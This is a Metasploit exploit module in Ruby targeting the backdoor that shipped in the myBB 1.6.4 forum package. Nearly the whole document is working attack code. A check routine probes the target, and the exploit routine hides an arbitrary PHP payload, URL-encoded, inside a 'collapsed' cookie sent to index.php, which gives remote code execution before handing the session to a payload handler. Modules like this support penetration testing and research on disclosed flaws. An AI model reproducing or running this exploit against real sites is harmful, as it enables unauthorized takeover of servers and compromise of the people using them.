myBB 1.6.4 Backdoor Exploit

`##  
# $Id: mybb_backdoor.rb 13850 2011-10-10 15:40:59Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'myBB 1.6.4 Backdoor Exploit',  
'Description' => %q{  
myBB is a popular open source PHP forum software. Version 1.6.4 contained an   
unauthorized backdoor, distributed as part of the vendor's source package.  
},  
'Author' =>  
[  
'tdz',  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13850 $',  
'References' =>  
[  
[ 'BID', '49993' ],  
[ 'SECUNIA', '46300' ],  
[ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ],  
[ 'URL', 'http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'Space' => 4000,  
'DisableNops' => true,  
'Keys' => ['php'],  
},  
'Targets' => [ ['Automatic', { }], ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 06 2011'  
))  
  
register_options(  
[  
OptString.new('URI', [ true, "myBB path", '/index.php']),  
], self.class)  
end  
  
  
def uri  
datastore['URI']  
end  
  
def check  
print_status("Checking target")  
res = send_request_raw({  
'method' => 'GET',  
'uri' => uri  
}, 10  
)  
  
if (not res) or (not res.code.between?(200,299))  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Detected  
end  
end  
  
def exploit  
print_status("Sending exploit request")  
  
# for details of the backdoor mechanism.   
cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"  
cookie << Rex::Text.uri_encode(payload.encoded)  
  
response = send_request_raw({  
'method' => 'GET',  
'global' => true,  
'uri' => uri,  
'headers' => { 'Cookie' => cookie }  
},10)  
  
if (not response) or (not response.code.between?(200,299))  
print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."  
else  
handler  
end  
end  
end  
`